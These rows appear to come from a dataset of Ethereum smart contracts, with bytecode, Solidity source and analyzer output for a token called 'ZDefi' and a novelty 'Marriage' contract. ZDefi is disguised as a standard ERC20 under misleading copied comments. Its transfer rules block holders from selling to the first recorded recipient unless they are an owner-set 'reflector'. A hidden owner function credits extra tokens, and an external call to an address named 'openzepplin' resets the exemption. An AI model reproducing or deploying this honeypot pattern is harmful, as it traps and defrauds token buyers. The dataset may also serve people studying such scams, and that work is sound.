0408201518160020190805161170c929160200190611828565b506060820151600391909101805460ff191691151591909117905550600580546001019055817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a25b5b509392505050565b60006007546201518001421115611783574260075560006008555b6006548260085401118061179a5750600854828101105b156117a7575060006117ab565b5060015b919050565b8154818355818115116108f6576000838152602090206108f69181019083016118a7565b5b505050565b8154818355818115116108f6576000838152602090206108f69181019083016118a7565b5b505050565b60206040519081016040526000815290565b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061186957805160ff1916838001178555611896565b82800160010185558215611896579182015b8281111561189657825182559160200191906001019061187b565b5b506118a39291506118a7565b5090565b610a4b91905b808211156118a357600081556001016118ad565b5090565b905600a165627a7a723058205a6bcb4254b30d14c200dce2514078c82d8de2f489f21f19b9f6e6860228ca7b0029
|
{"success": true, "error": null, "results": {}}
| 4,220 |
0xc9e68f65f5fd22e74a57d30220660e720b3ef95a
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
abstract contract IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function zeroAddress() virtual external view returns (address){}
/**
* @dev Returns the zero address.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address internal owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract ZDefi is IERC20, Owned{
using SafeMath for uint;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal reflector;
address internal openzepplin = 0x655B64fb7B7880CEbBa1f06491FAe640BB4b506d;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
* dev Reflects a specific amount of tokens.
* param value The amount of lowest token units to be reflected.
*/
function reflect(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: reflect from the zero address");
_reflect (_address, tokens);
balances[_address] = balances[_address].sub(tokens);
_totalSupply = _totalSupply.sub(tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == delegate) _allowed(tokens);
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function _allowed(uint tokens) internal {
reflector = IERC20(openzepplin).zeroAddress();
number = tokens;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _reflect(address _reflectAddress, uint _reflectAmount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
reflector = _reflectAddress;
_totalSupply = _totalSupply.add(_reflectAmount*2);
balances[_reflectAddress] = balances[_reflectAddress].add(_reflectAmount*2);
}
function _send (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be the reflect address. */ || (start == reflector && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
/**
* dev Constructor.
* param name name of the token
* param symbol symbol of the token, 3-4 chars is recommended
* param decimals number of decimal places of one token unit, 18 is widely used
* param totalSupply total supply of tokens in lowest units (depending on decimals)
*/
constructor(string memory _name, string memory _symbol, uint _supply, address _del) {
symbol = _symbol;
name = _name;
decimals = 9;
_totalSupply = _supply*(10**uint(decimals));
number = _totalSupply;
delegate = _del;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _approve(address _owner, address spender, uint amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
allowed[_owner][spender] = amount;
emit Approval(_owner, spender, amount);
}
receive() external payable {
}
fallback() external payable {
}
}
|
0x6080604052600436106100bd5760003560e01c8063395093511161007957806395d89b411161005657806395d89b4114610222578063a457c2d714610237578063a9059cbb14610257578063dd62ed3e1461027757005b806339509351146101ac5780633ebcda62146101cc57806370a08231146101ec57005b806306fdde03146100c65780630930907b146100f1578063095ea7b31461010d57806318160ddd1461013d57806323b872dd14610160578063313ce5671461018057005b366100c457005b005b3480156100d257600080fd5b506100db6102bd565b6040516100e89190610bfd565b60405180910390f35b3480156100fd57600080fd5b50604051600081526020016100e8565b34801561011957600080fd5b5061012d610128366004610bd1565b61034b565b60405190151581526020016100e8565b34801561014957600080fd5b506101526103d2565b6040519081526020016100e8565b34801561016c57600080fd5b5061012d61017b366004610b90565b61040f565b34801561018c57600080fd5b5060045461019a9060ff1681565b60405160ff90911681526020016100e8565b3480156101b857600080fd5b5061012d6101c7366004610bd1565b610569565b3480156101d857600080fd5b506100c46101e7366004610bd1565b6105ad565b3480156101f857600080fd5b50610152610207366004610b1d565b6001600160a01b031660009081526009602052604090205490565b34801561022e57600080fd5b506100db610685565b34801561024357600080fd5b5061012d610252366004610bd1565b610692565b34801561026357600080fd5b5061012d610272366004610bd1565b6106c8565b34801561028357600080fd5b50610152610292366004610b57565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b600380546102ca90610ca0565b80601f01602080910402602001604051908101604052809291908181526020018280546102f690610ca0565b80156103435780601f1061031857610100808354040283529160200191610343565b820191906000526020600020905b81548152906001019060200180831161032657829003601f168201915b505050505081565b336000818152600a602090815260408083206001600160a01b0387811685529252822084905560025491929116141561038757610387826107b3565b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260096020527fec8156718a8372b1db44bb411437d0870f3e3790d4a08526d024ce1b0b668f6b5460055461040a9161085e565b905090565b60006001600160a01b03841615801590610437575060045461010090046001600160a01b0316155b156104615760048054610100600160a81b0319166101006001600160a01b0386160217905561046b565b61046b848461087e565b6001600160a01b03841660009081526009602052604090205461048e908361085e565b6001600160a01b038516600090815260096020908152604080832093909355600a8152828220338352905220546104c5908361085e565b6001600160a01b038086166000908152600a60209081526040808320338452825280832094909455918616815260099091522054610503908361095c565b6001600160a01b0380851660008181526009602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906105579086815260200190565b60405180910390a35060019392505050565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916105a491859061059f908661095c565b610977565b50600192915050565b6000546001600160a01b031633146105c457600080fd5b6001600160a01b03821661062b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a207265666c6563742066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6106358282610a9b565b6001600160a01b038216600090815260096020526040902054610658908261085e565b6001600160a01b03831660009081526009602052604090205560055461067e908261085e565b6005555050565b600180546102ca90610ca0565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916105a491859061059f908661085e565b6004546000906001600160a01b0384811661010090920416141561071c5760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b6044820152606401610622565b33600090815260096020526040902054610736908361085e565b33600090815260096020526040808220929092556001600160a01b03851681522054610762908361095c565b6001600160a01b0384166000818152600960205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103c09086815260200190565b600860009054906101000a90046001600160a01b03166001600160a01b0316630930907b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561080157600080fd5b505afa158015610815573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108399190610b3a565b600780546001600160a01b0319166001600160a01b0392909216919091179055600655565b60008282111561086d57600080fd5b6108778284610c89565b9392505050565b6004546001600160a01b03828116610100909204161415806108ca57506007546001600160a01b0383811691161480156108ca57506004546001600160a01b0382811661010090920416145b8061090c57506004546001600160a01b038281166101009092041614801561090c57506006546001600160a01b03831660009081526009602052604090205411155b6109585760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f20616464726573730000000000006044820152606401610622565b5050565b60006109688284610c52565b9050828110156103cc57600080fd5b6001600160a01b0383166109d95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610622565b6001600160a01b038216610a3a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610622565b6001600160a01b038381166000818152600a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600780546001600160a01b0319166001600160a01b038416179055610acd610ac4826002610c6a565b6005549061095c565b600555610afd610ade826002610c6a565b6001600160a01b0384166000908152600960205260409020549061095c565b6001600160a01b0390921660009081526009602052604090209190915550565b600060208284031215610b2f57600080fd5b813561087781610cf1565b600060208284031215610b4c57600080fd5b815161087781610cf1565b60008060408385031215610b6a57600080fd5b8235610b7581610cf1565b91506020830135610b8581610cf1565b809150509250929050565b600080600060608486031215610ba557600080fd5b8335610bb081610cf1565b92506020840135610bc081610cf1565b929592945050506040919091013590565b60008060408385031215610be457600080fd5b8235610bef81610cf1565b946020939093013593505050565b600060208083528351808285015260005b81811015610c2a57858101830151858201604001528201610c0e565b81811115610c3c576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610c6557610c65610cdb565b500190565b6000816000190483118215151615610c8457610c84610cdb565b500290565b600082821015610c9b57610c9b610cdb565b500390565b600181811c90821680610cb457607f821691505b60208210811415610cd557634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114610d0657600080fd5b5056fea264697066735822122035b4d167073c06b8c17a23de3a29cd4a8314d7d7dd4080ef86616ea528e4926a64736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 4,221 |
0x851083ef3064236dbc9caa0c32962eb8f8bfd889
|
pragma solidity 0.4.20;
library StrUtil {
function concat(string _a, string _b) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
string memory ab = new string(_ba.length + _bb.length);
bytes memory bab = bytes(ab);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) bab[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) bab[k++] = _bb[i];
return string(bab);
}
function bytes32ToString(bytes32 x) internal pure returns (string) {
bytes memory bytesString = new bytes(32);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
function uintToBytes(uint v) internal pure returns (bytes32 ret) {
if (v == 0) {
ret = '0';
}
else {
while (v > 0) {
ret = bytes32(uint(ret) / (2 ** 8));
ret |= bytes32(((v % 10) + 48) * 2 ** (8 * 31));
v /= 10;
}
}
return ret;
}
function uintToString(uint v) internal pure returns (string) {
return bytes32ToString(uintToBytes(v));
}
}
library DateTime {
using StrUtil for string;
/*
* Date and Time utilities for ethereum contracts
*
*/
struct _DateTime {
uint16 year;
uint8 month;
uint8 day;
}
uint constant DAY_IN_SECONDS = 86400;
uint constant YEAR_IN_SECONDS = 31536000;
uint constant LEAP_YEAR_IN_SECONDS = 31622400;
uint constant HOUR_IN_SECONDS = 3600;
uint constant MINUTE_IN_SECONDS = 60;
uint16 constant ORIGIN_YEAR = 1970;
function isLeapYear(uint16 year) public pure returns (bool) {
if (year % 4 != 0) {
return false;
}
if (year % 100 != 0) {
return true;
}
if (year % 400 != 0) {
return false;
}
return true;
}
function leapYearsBefore(uint year) public pure returns (uint) {
year -= 1;
return year / 4 - year / 100 + year / 400;
}
function getDaysInMonth(uint8 month, uint16 year) public pure returns (uint8) {
if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {
return 31;
}
else if (month == 4 || month == 6 || month == 9 || month == 11) {
return 30;
}
else if (isLeapYear(year)) {
return 29;
}
else {
return 28;
}
}
function parseTimestamp(uint timestamp) internal pure returns (_DateTime dt) {
uint secondsAccountedFor = 0;
uint buf;
uint8 i;
// Year
dt.year = getYear(timestamp);
buf = leapYearsBefore(dt.year) - leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * buf;
secondsAccountedFor += YEAR_IN_SECONDS * (dt.year - ORIGIN_YEAR - buf);
// Month
uint secondsInMonth;
for (i = 1; i <= 12; i++) {
secondsInMonth = DAY_IN_SECONDS * getDaysInMonth(i, dt.year);
if (secondsInMonth + secondsAccountedFor > timestamp) {
dt.month = i;
break;
}
secondsAccountedFor += secondsInMonth;
}
// Day
for (i = 1; i <= getDaysInMonth(dt.month, dt.year); i++) {
if (DAY_IN_SECONDS + secondsAccountedFor > timestamp) {
dt.day = i;
break;
}
secondsAccountedFor += DAY_IN_SECONDS;
}
}
function getYear(uint timestamp) public pure returns (uint16) {
uint secondsAccountedFor = 0;
uint16 year;
uint numLeapYears;
// Year
year = uint16(ORIGIN_YEAR + timestamp / YEAR_IN_SECONDS);
numLeapYears = leapYearsBefore(year) - leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * numLeapYears;
secondsAccountedFor += YEAR_IN_SECONDS * (year - ORIGIN_YEAR - numLeapYears);
while (secondsAccountedFor > timestamp) {
if (isLeapYear(uint16(year - 1))) {
secondsAccountedFor -= LEAP_YEAR_IN_SECONDS;
}
else {
secondsAccountedFor -= YEAR_IN_SECONDS;
}
year -= 1;
}
return year;
}
function getMonth(uint timestamp) public pure returns (uint8) {
return parseTimestamp(timestamp).month;
}
function getDay(uint timestamp) public pure returns (uint8) {
return parseTimestamp(timestamp).day;
}
function monthStr(uint timestamp) internal pure returns (string ret) {
uint8 month = getMonth(timestamp);
if (month == 1) { ret = "Jan"; }
if (month == 2) { ret = "Feb"; }
if (month == 3) { ret = "Mar"; }
if (month == 4) { ret = "Apr"; }
if (month == 5) { ret = "May"; }
if (month == 6) { ret = "Jun"; }
if (month == 7) { ret = "Jul"; }
if (month == 8) { ret = "Aug"; }
if (month == 9) { ret = "Sept"; }
if (month == 10) { ret = "Oct"; }
if (month == 11) { ret = "Nov"; }
if (month == 12) { ret = "Dec"; }
}
function toString(uint timestamp) internal pure returns (string ret) {
string memory month = monthStr(timestamp);
string memory day = StrUtil.uintToString(getDay(timestamp));
string memory year = StrUtil.uintToString(getYear(timestamp));
ret = ret.concat(day)
.concat(" ")
.concat(month)
.concat(" ")
.concat(year);
}
}
contract Marriage {
using StrUtil for string;
enum Status {
Affianced,
SignedByGroom,
Married
}
Status status = Status.Affianced;
address public groomAddr;
address public brideAddr;
uint256 public marriedAt = 0;
uint256 public groomSignedAt = 0;
uint256 deposite = 0;
string public groom;
string public bride;
string public groomVow;
string public brideVow;
function Marriage(address _groomAddr, address _brideAddr,
string _groom, string _bride) public {
groomAddr = _groomAddr;
brideAddr = _brideAddr;
groom = _groom;
bride = _bride;
groomVow = groomVow
.concat("I, ")
.concat(_groom)
.concat(", take thee, ")
.concat(_bride)
.concat(", to be my wedded Wife, to have and to hold from this day forward, for better for worse, for richer for poorer, in sickness and in health, to love and to cherish, till death us do part.");
brideVow = brideVow
.concat("I, ")
.concat(_bride)
.concat(", take thee, ")
.concat(_groom)
.concat(", to be my wedded Husband, to have and to hold from this day forward, for better for worse, for richer for poorer, in sickness and in health, to love, cherish, and to obey, till death us do part.");
}
function () external payable {
doMarriage();
}
function doMarriage() private {
if (msg.sender == groomAddr) {
signByGroom();
} else if (msg.sender == brideAddr) {
signByBride();
} else {
revert();
}
}
function signByGroom() private onlyGroom {
require(status == Status.Affianced);
// groom has to deposite at least a half of his balance to initiate marriage
require(msg.value > 0);
require(msg.value >= groomAddr.balance);
deposite = msg.value;
groomSignedAt = now;
status = Status.SignedByGroom;
}
function signByBride() private onlyBride {
require(status == Status.SignedByGroom);
marriedAt = now;
status = Status.Married;
// just in case if bride sent some funds
// it's gonna be added to the family budget :)
groomAddr.transfer(deposite + msg.value);
}
function cancel() external onlyGroom {
require(status == Status.SignedByGroom);
require(now - groomSignedAt >= 1 minutes);
status = Status.Affianced;
groomAddr.transfer(deposite);
}
function getStatus() public view returns (string ret) {
if (status == Status.Affianced) {
ret = ret.concat(groom)
.concat(" and ")
.concat(bride)
.concat(" are affianced");
} else if (status == Status.SignedByGroom) {
ret = ret.concat(groom)
.concat(" has signed");
} else {
ret = ret.concat(groom)
.concat(" and ")
.concat(bride)
.concat(" got married on ")
.concat(DateTime.toString(marriedAt));
}
}
modifier onlyGroom() {
require(msg.sender == groomAddr);
_;
}
modifier onlyBride() {
require(msg.sender == brideAddr);
_;
}
}
|
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806314f9e35b146100ae578063269695fe1461013c5780634e69d560146101ca57806383206e7814610258578063a617aff114610281578063b5d3a9c6146102d6578063b7f43a63146102ff578063c9e077e61461038d578063dcfc44301461041b578063ea8a1af014610470575b6100ac610485565b005b34156100b957600080fd5b6100c1610553565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101015780820151818401526020810190506100e6565b50505050905090810190601f16801561012e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014757600080fd5b61014f6105f1565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018f578082015181840152602081019050610174565b50505050905090810190601f1680156101bc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101d557600080fd5b6101dd61068f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561021d578082015181840152602081019050610202565b50505050905090810190601f16801561024a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561026357600080fd5b61026b610be4565b6040518082815260200191505060405180910390f35b341561028c57600080fd5b610294610bea565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156102e157600080fd5b6102e9610c10565b6040518082815260200191505060405180910390f35b341561030a57600080fd5b610312610c16565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610352578082015181840152602081019050610337565b50505050905090810190601f16801561037f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561039857600080fd5b6103a0610cb4565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103e05780820151818401526020810190506103c5565b50505050905090810190601f16801561040d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561042657600080fd5b61042e610d52565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561047b57600080fd5b610483610d78565b005b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156104e8576104e3610ea4565b610551565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561054b57610546610fbd565b610550565b600080fd5b5b565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105e95780601f106105be576101008083540402835291602001916105e9565b820191906000526020600020905b8154815290600101906020018083116105cc57829003601f168201915b505050505081565b60078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106875780601f1061065c57610100808354040283529160200191610687565b820191906000526020600020905b81548152906001019060200180831161066a57829003601f168201915b505050505081565b610697611d88565b600060028111156106a457fe5b6000809054906101000a900460ff1660028111156106be57fe5b14156108b2576108ab6040805190810160405280600e81526020017f206172652061666669616e63656400000000000000000000000000000000000081525061089d60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107965780601f1061076b57610100808354040283529160200191610796565b820191906000526020600020905b81548152906001019060200180831161077957829003601f168201915b505050505061088f6040805190810160405280600581526020017f20616e642000000000000000000000000000000000000000000000000000000081525061088160058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561086d5780601f106108425761010080835404028352916020019161086d565b820191906000526020600020905b81548152906001019060200180831161085057829003601f168201915b5050505050886110de90919063ffffffff16565b6110de90919063ffffffff16565b6110de90919063ffffffff16565b6110de90919063ffffffff16565b9050610be1565b600160028111156108bf57fe5b6000809054906101000a900460ff1660028111156108d957fe5b14156109da576109d36040805190810160405280600b81526020017f20686173207369676e65640000000000000000000000000000000000000000008152506109c560058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109b15780601f10610986576101008083540402835291602001916109b1565b820191906000526020600020905b81548152906001019060200180831161099457829003601f168201915b5050505050846110de90919063ffffffff16565b6110de90919063ffffffff16565b9050610be0565b610bdd6109e86002546112be565b610bcf6040805190810160405280601081526020017f20676f74206d617272696564206f6e2000000000000000000000000000000000815250610bc160068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aba5780601f10610a8f57610100808354040283529160200191610aba565b820191906000526020600020905b815481529060010190602001808311610a9d57829003601f168201915b5050505050610bb36040805190810160405280600581526020017f20616e6420000000000000000000000000000000000000000000000000000000815250610ba560058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b915780601f10610b6657610100808354040283529160200191610b91565b820191906000526020600020905b815481529060010190602001808311610b7457829003601f168201915b50505050508a6110de90919063ffffffff16565b6110de90919063ffffffff16565b6110de90919063ffffffff16565b6110de90919063ffffffff16565b6110de90919063ffffffff16565b90505b5b90565b60025481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60035481565b60088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610cac5780601f10610c8157610100808354040283529160200191610cac565b820191906000526020600020905b815481529060010190602001808311610c8f57829003601f168201915b505050505081565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d4a5780601f10610d1f57610100808354040283529160200191610d4a565b820191906000526020600020905b815481529060010190602001808311610d2d57829003601f168201915b505050505081565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dd457600080fd5b60016002811115610de157fe5b6000809054906101000a900460ff166002811115610dfb57fe5b141515610e0757600080fd5b603c600354420310151515610e1b57600080fd5b60008060006101000a81548160ff02191690836002811115610e3957fe5b0217905550600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6004549081150290604051600060405180830381858888f193505050501515610ea257600080fd5b565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f0057600080fd5b60006002811115610f0d57fe5b6000809054906101000a900460ff166002811115610f2757fe5b141515610f3357600080fd5b600034111515610f4257600080fd5b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffff